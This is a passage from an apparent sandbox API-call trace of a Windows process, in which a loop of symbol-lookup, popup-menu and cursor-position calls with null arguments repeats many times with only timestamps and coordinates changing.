FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.038] SymCleanup (hProcess=0x0) returned 0 [0141.038] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.038] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.038] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.038] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.038] GetLastError () returned 0x579 [0141.038] SetLastError (dwErrCode=0x579) [0141.038] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.038] SymCleanup (hProcess=0x0) returned 0 [0141.038] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.039] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.039] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.039] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=680, param_4=374, param_5=0x0, param_6=0x0) returned 0 [0141.039] GetLastError () returned 0x579 [0141.039] SetLastError (dwErrCode=0x579) [0141.039] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.039] SymCleanup (hProcess=0x0) returned 0 [0141.039] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.039] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.039] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.039] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.039] GetLastError () returned 0x579 [0141.039] SetLastError (dwErrCode=0x579) [0141.039] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.039] SymCleanup (hProcess=0x0) returned 0 [0141.039] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.039] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.039] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.039] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.039] GetLastError () returned 0x579 [0141.039] SetLastError (dwErrCode=0x579) [0141.039] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.039] SymCleanup (hProcess=0x0) returned 0 [0141.039] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.039] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.039] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.040] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.040] GetLastError () returned 0x579 [0141.040] SetLastError (dwErrCode=0x579) [0141.040] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.040] SymCleanup (hProcess=0x0) returned 0 [0141.040] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.040] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.040] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.040] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.040] GetLastError () returned 0x579 [0141.040] SetLastError (dwErrCode=0x579) [0141.040] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.040] SymCleanup (hProcess=0x0) returned 0 [0141.040] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.040] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.040] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.040] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=73, param_4=859, param_5=0x0, param_6=0x0) returned 0 [0141.040] GetLastError () returned 0x579 [0141.040] SetLastError (dwErrCode=0x579) [0141.040] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.040] SymCleanup (hProcess=0x0) returned 0 [0141.040] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.040] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.040] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.041] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.041] GetLastError () returned 0x579 [0141.041] SetLastError (dwErrCode=0x579) [0141.041] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.041] SymCleanup (hProcess=0x0) returned 0 [0141.041] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.041] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.041] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.041] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=849, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0141.041] GetLastError () returned 0x579 [0141.041] SetLastError (dwErrCode=0x579) [0141.041] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.041] SymCleanup (hProcess=0x0) returned 0 [0141.041] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.041] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.041] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.041] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.041] GetLastError () returned 0x579 [0141.041] SetLastError (dwErrCode=0x579) [0141.041] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.041] SymCleanup (hProcess=0x0) returned 0 [0141.041] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.041] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.041] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.041] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=118, param_5=0x0, param_6=0x0) returned 0 [0141.042] GetLastError () returned 0x579 [0141.042] SetLastError (dwErrCode=0x579) [0141.042] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.042] SymCleanup (hProcess=0x0) returned 0 [0141.042] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.042] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.042] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.042] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1276, param_4=768, param_5=0x0, param_6=0x0) returned 0 [0141.042] GetLastError () returned 0x579 [0141.042] SetLastError (dwErrCode=0x579) [0141.042] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.042] SymCleanup (hProcess=0x0) returned 0 [0141.042] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.042] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.042] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.042] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.042] GetLastError () returned 0x579 [0141.042] SetLastError (dwErrCode=0x579) [0141.042] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.042] SymCleanup (hProcess=0x0) returned 0 [0141.042] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.042] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.042] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.042] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=115, param_5=0x0, param_6=0x0) returned 0 [0141.042] GetLastError () returned 0x579 [0141.042] SetLastError (dwErrCode=0x579) [0141.043] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.043] SymCleanup (hProcess=0x0) returned 0 [0141.043] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.043] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.043] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.043] GetLastError () returned 0x579 [0141.043] SetLastError (dwErrCode=0x579) [0141.043] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.043] SymCleanup (hProcess=0x0) returned 0 [0141.043] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.043] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.043] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=116, param_5=0x0, param_6=0x0) returned 0 [0141.043] GetLastError () returned 0x579 [0141.043] SetLastError (dwErrCode=0x579) [0141.043] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.043] SymCleanup (hProcess=0x0) returned 0 [0141.043] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.043] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.043] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.043] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=1057, param_4=144, param_5=0x0, param_6=0x0) returned 0 [0141.043] GetLastError () returned 0x579 [0141.043] SetLastError (dwErrCode=0x579) [0141.043] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.044] SymCleanup (hProcess=0x0) returned 0 [0141.044] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.044] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.044] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.044] GetLastError () returned 0x579 [0141.044] SetLastError (dwErrCode=0x579) [0141.044] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.044] SymCleanup (hProcess=0x0) returned 0 [0141.044] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.044] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.044] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=843, param_4=120, param_5=0x0, param_6=0x0) returned 0 [0141.044] GetLastError () returned 0x579 [0141.044] SetLastError (dwErrCode=0x579) [0141.044] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.044] SymCleanup (hProcess=0x0) returned 0 [0141.044] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.044] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.044] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.044] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.044] GetLastError () returned 0x579 [0141.044] SetLastError (dwErrCode=0x579) [0141.044] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.044] SymCleanup (hProcess=0x0) returned 0 [0141.044] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.045] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.045] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.045] GetLastError () returned 0x579 [0141.045] SetLastError (dwErrCode=0x579) [0141.045] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.045] SymCleanup (hProcess=0x0) returned 0 [0141.045] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.045] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.045] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=494, param_4=390, param_5=0x0, param_6=0x0) returned 0 [0141.045] GetLastError () returned 0x579 [0141.045] SetLastError (dwErrCode=0x579) [0141.045] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.045] SymCleanup (hProcess=0x0) returned 0 [0141.045] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.045] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.045] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.045] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.046] GetLastError () returned 0x579 [0141.046] SetLastError (dwErrCode=0x579) [0141.046] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.046] SymCleanup (hProcess=0x0) returned 0 [0141.046] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.046] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.046] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.046] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.046] GetLastError () returned 0x579 [0141.046] SetLastError (dwErrCode=0x579) [0141.046] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.046] SymCleanup (hProcess=0x0) returned 0 [0141.046] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.046] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.046] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.046] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.046] GetLastError () returned 0x579 [0141.046] SetLastError (dwErrCode=0x579) [0141.046] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.046] SymCleanup (hProcess=0x0) returned 0 [0141.046] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.046] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.046] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.046] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=844, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.046] GetLastError () returned 0x579 [0141.047] SetLastError (dwErrCode=0x579) [0141.047] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.047] SymCleanup (hProcess=0x0) returned 0 [0141.047] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.047] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.047] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.047] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=63, param_4=112, param_5=0x0, param_6=0x0) returned 0 [0141.047] GetLastError () returned 0x579 [0141.047] SetLastError (dwErrCode=0x579) [0141.047] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.047] SymCleanup (hProcess=0x0) returned 0 [0141.047] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.047] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.047] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.047] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.047] GetLastError () returned 0x579 [0141.047] SetLastError (dwErrCode=0x579) [0141.047] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.047] SymCleanup (hProcess=0x0) returned 0 [0141.047] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.047] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.047] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.047] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=848, param_4=114, param_5=0x0, param_6=0x0) returned 0 [0141.047] GetLastError () returned 0x579 [0141.047] SetLastError (dwErrCode=0x579) [0141.047] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.047] SymCleanup (hProcess=0x0) returned 0 [0141.048] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.048] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.048] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.048] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.048] GetLastError () returned 0x579 [0141.048] SetLastError (dwErrCode=0x579) [0141.048] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.048] SymCleanup (hProcess=0x0) returned 0 [0141.048] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.048] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.048] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.048] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=845, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.048] GetLastError () returned 0x579 [0141.048] SetLastError (dwErrCode=0x579) [0141.048] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.048] SymCleanup (hProcess=0x0) returned 0 [0141.048] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.048] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.048] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.048] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=947, param_4=4, param_5=0x0, param_6=0x0) returned 0 [0141.048] GetLastError () returned 0x579 [0141.048] SetLastError (dwErrCode=0x579) [0141.048] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.048] SymCleanup (hProcess=0x0) returned 0 [0141.048] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.048] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.049] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.049] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.049] GetLastError () returned 0x579 [0141.049] SetLastError (dwErrCode=0x579) [0141.049] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.049] SymCleanup (hProcess=0x0) returned 0 [0141.049] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.049] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.049] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.049] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=119, param_5=0x0, param_6=0x0) returned 0 [0141.049] GetLastError () returned 0x579 [0141.049] SetLastError (dwErrCode=0x579) [0141.049] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.049] SymCleanup (hProcess=0x0) returned 0 [0141.049] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.049] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.049] GetCursorPos (in: lpPoint=0x499d08 | out: lpPoint=0x499d08*(x=846, y=117)) returned 1 [0141.049] TrackPopupMenuEx (param_1=0x0, param_2=0x40, param_3=846, param_4=117, param_5=0x0, param_6=0x0) returned 0 [0141.049] GetLastError () returned 0x579 [0141.049] SetLastError (dwErrCode=0x579) [0141.049] SymFindFileInPath (in: hprocess=0x0, SearchPath=0x0, FileName=0x0, id=0x0, two=0x0, three=0x0, flags=0x0, FoundFile=0x0, callback=0x0, context=0x0 | out: FoundFile=0x0) returned 0 [0141.049] SymCleanup (hProcess=0x0) returned 0 [0141.049] MapDebugInformation (FileHandle=0x0, FileName=0x0, SymbolPath=0x0, ImageBase=0x0) returned 0x0 [0141.049] InsertMenuItemA (hmenu=0x0, item=0x0, fByPosition=0, lpmi=0x19fa20) returned 0 [0141.049] GetCursorPos (in: lpPoint=0x499d08 | out: 